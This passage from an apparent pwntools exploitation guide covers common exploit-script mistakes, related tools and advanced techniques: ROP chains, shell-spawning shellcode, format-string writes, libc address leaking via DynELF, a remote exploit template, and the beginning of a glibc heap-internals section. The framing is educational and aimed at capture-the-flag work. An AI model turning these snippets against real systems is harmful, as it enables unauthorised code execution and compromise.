p.recvuntil(b'Password:', timeout=2)
# Or:
p.recvline()  # If structure is predictable
```

Mistake 3: Endianness Assumptions

```
# WRONG for big-endian target:
payload = p64(0x400000)  # Packs as little-endian

# Correct:
context.endian = 'big'
payload = p64(0x400000)
```

Mistake 4: ROP Chain Alignment

```
rop = ROP(elf)
rop.call('system', [binsh])
# pwntools may not auto-align

# Verify and fix:
if len(rop.chain()) % 16 != 0:
    rop.raw(rop.find_gadget(['ret'])[0])
```

Mistake 5: Symbol Resolution Errors

```
# WRONG:
system_addr = elf.symbols['system']  # May not exist in binary

# Correct:
if 'system' in elf.symbols:
    system_addr = elf.symbols['system']
else:
    system_addr = libc.symbols['system']  # From libc
```

Mistake 6: Interactive() Timing

```
p.send(payload)
p.interactive()  # TOO EARLY - payload may not execute yet

# Better:
p.send(payload)
p.recvuntil(b'shell>')  # Wait for shell prompt
p.interactive()
```

Mistake 7: Process vs. Remote Differences

```
# Local process may have different environment
p = process('./vuln', env={'LD_PRELOAD': './libc.so.6'})
# Remote doesn't have this

# Test locally in way that matches remote:
p = process('./vuln', env={})
```

Mistake 8: Shellcode Null Bytes

```
shellcode = asm('''
    mov rax, 0x0  # Contains null bytes!
''')

# Better:
shellcode = asm('''
    xor eax, eax  # No nulls
''')
```

7. Connections to Other Tools and Concepts

pwntools Depends On:

- **Python standard library:** subprocess, socket, struct
- **pyelftools:** ELF parsing
- **capstone:** Disassembly
- **keystone/binutils:** Assembly
- **ROPgadget/ropper:** Gadget finding (optional, has fallback)

Tools pwntools Integrates:

- **GDB:** Via gdb.debug() and gdb.attach()
- **QEMU:** For emulation-based exploits
- **SSH:** Remote exploitation via SSH tunnels
- **Tmux/screen:** Terminal splitting for debugging

Complementary Tools:

- **one_gadget:** Find libc one-shot gadgets

```
one_gadget = 0x4f3d5  # From one_gadget tool
payload = p64(libc.address + one_gadget)
```

- **libc-database:** Identify libc version

```
# After leaking puts and __libc_start_main
# Use libc-database to find version
# Then: libc = ELF('./libc6_2.27-3ubuntu1.2_amd64.so')
```

- **checksec:** Verify protections

```
# Built into pwntools:
print(elf.checksec())
```

Workflow Integration:

```
[Ghidra: Find vulnerability]
    ↓
[GDB+pwndbg: Confirm exploitability]
    ↓
[pwntools: Write exploit script]
    ↓
[pwntools+GDB: Debug exploit]
    ↓
[pwntools: Deploy against remote target]
```

8. Expert Notes

Performance Optimization:

```
# Disable logging for speed
context.log_level = 'error'

# Use sendafter instead of multiple operations
p.sendafter(b'Choice:', b'1')  # More efficient than recvuntil + send
```

Advanced Tube Usage:

```
# Preserve partial reads
data = p.unrecv(b'extra_data')  # Push back to buffer

# Multiple targets
tubes = [remote('target', 1337) for _ in range(10)]
for t in tubes:
    t.sendline(payload)
```

Custom Packing:

```
# Pack floats
from struct import pack
payload = pack('<f', 3.14159)

# Pack structures
from pwn import *
payload = flat({
    0: b'header',
    16: p64(address),
    32: p32(size)
})
```

ROP Advanced Techniques:

```
# Manual gadget addition
rop.raw(gadget_addr)
rop.raw(data)

# Call with many arguments (stack spillover)
rop.call('func', [arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8])
# pwntools handles stack arguments automatically

# SigreturnFrame
frame = SigreturnFrame()
frame.rip = target
frame.rsp = stack
rop.raw(frame)
```

Shellcode Encoding:

```
# Alphanumeric shellcode
shellcode = asm(shellcraft.sh())
encoded = encode(shellcode, avoid='\x00\n')  # Avoid bad chars
```

```
# Or manual encoding:
from pwn import *
context.arch = 'amd64'
sc = shellcraft.cat('/flag')
sc = asm(sc)
```

ELF Modification:

```
# Write data to specific offset
elf = ELF('./binary')
elf.write(0x401000, asm('nop; nop; nop'))
elf.save('./modified')

# Change entry point
elf.entry = 0x402000
```

Format String Automation:

```
from pwnlib.fmtstr import fmtstr_payload

# Automatic write
payload = fmtstr_payload(offset, {target_addr: value})
p.sendline(payload)
```

SSH Exploitation:

```
s = ssh(host='target', user='user', password='pass')
p = s.process('/path/to/vuln')
# Exploit as normal
```

DynELF (Leak-based Resolution):

```
def leak(address):
    # Custom leak function
    payload = fmtstr_payload(6, {address: 0})
    p.sendline(payload)
    return u64(p.recv(8).ljust(8, b'\x00'))

d = DynELF(leak, elf.address)
system_addr = d.lookup('system', 'libc')
```

Context Managers:

```
with context.local(arch='i386'):
    shellcode = asm(shellcraft.sh())
# Context reverts after block
```

Debugging Multiple Processes:

```
p1 = gdb.debug('./bin1', 'break main')
p2 = gdb.debug('./bin2', 'break vuln')
# Two GDB sessions in split terminals
```

Exploit Templates:

```
#!/usr/bin/env python3
from pwn import *

exe = ELF('./vuln_patched')
libc = ELF('./libc.so.6')
ld = ELF('./ld-2.27.so')

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']

def conn():
    if args.LOCAL:
        return process([exe.path])
    if args.GDB:
        return gdb.debug([exe.path], gdbscript='''''')
    return remote('addr', 1337)

def main():
    r = conn()

    # Exploit here

    r.interactive()

if __name__ == '__main__':
    main()
```

Rate Limiting Bypass:

```
# For proof-of-work challenges
from pwnlib.util.iters import mbruteforce
import hashlib

prefix = p.recvline().decode()
suffix = mbruteforce(lambda x: hashlib.sha256((prefix +
x).encode()).hexdigest().startswith('0000'), string.ascii_letters, length=4)
p.sendline(suffix.encode())
```

Heap Helpers:

```
# Track allocations
chunks = []

def alloc(size):
    global chunks
    # Send malloc command
    chunks.append(len(chunks))
    return chunks[-1]

def free(idx):
    # Send free command
    chunks[idx] = None
```

glibc malloc (ptmalloc2)

1. Purpose and Motivation

glibc's malloc implementation (ptmalloc2) is the default dynamic memory allocator on most Linux systems. Understanding it is critical for heap exploitation because:

- Heap vulnerabilities (use-after-free, double-free, overflow) corrupt allocator metadata
- Exploits manipulate internal structures (bins, chunks) to achieve arbitrary write
- Modern protections (tcache, safe-linking) must be bypassed through deep allocator knowledge
- Heap grooming requires predicting allocator behavior

Without ptmalloc internals knowledge, heap exploitation becomes random trial-and-error rather than deterministic state manipulation.

2. Internal Mechanics

Chunk Structure: Every allocation is a "chunk" with metadata:

```
struct malloc_chunk {
    size_t prev_size;  /* Size of previous chunk (if free) */
    size_t size;       /* Size of chunk (with flags in low 3 bits) */
    struct malloc_chunk *fd;  /* Forward pointer (free chunks only) */
    struct malloc_chunk *bk;  /* Backward pointer (free chunks only) */
};
```

Size Field Flags:

- Bit 0 (PREV_INUSE): Previous chunk is allocated
- Bit 1 (IS_MMAPPED): Chunk from mmap (large allocations)
- Bit 2 (NON_MAIN_ARENA): Not from main arena (multi-thre